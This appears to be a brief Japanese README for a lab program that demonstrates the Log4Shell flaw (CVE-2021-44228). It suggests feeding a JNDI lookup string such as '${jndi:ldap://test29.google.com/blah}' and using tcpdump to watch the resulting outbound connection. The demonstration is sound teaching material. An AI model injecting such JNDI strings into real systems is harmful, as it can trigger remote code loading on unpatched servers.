Log4j の脆弱性(CVE-2021-44228)がどのように悪用されるかを示すシンプルなプログラムです。
プログラムを起動するには、UNIX システムでは start.sh を、Windows では start.bat を実行するだけです。
ユーザー入力は読み取られ、Log4j フレームワークを使用してコンソールにログ出力されます。
デフォルトでは、Log4j ライブラリによって生成されるログメッセージは、JNDI 置換に対してサーバー到達不能 / ホスト未検出のエラーを一切表示しません。(そして、これこそがこの脆弱性がステルス性を持って悪用され得る大きな理由の一つだと思います)
また、${jndi:ldap://test29.google.com/blah} のようなサブドメインの使用も試してみてください。JNDI 呼び出しがリモートサーバーからの応答を待つことがあり、そのためプログラムがバックグラウンドで実際に接続試行を行っているにもかかわらず、動作が停止しているように見えることがあります。存在しないサブドメインを使用した場合、JNDI 呼び出しは接続試行後にすぐに終了し、プログラムは継続します。
プログラムを一方のシェルで実行し、もう一方のシェルで「 tcpdump -i any | grep google 」コマンドを並行して実行し、その後プログラムに入力を与えて、プログラムが接続試行を行ったかどうかを確認することをお勧めします。



testing ( 通常の文字列 )
--
--
--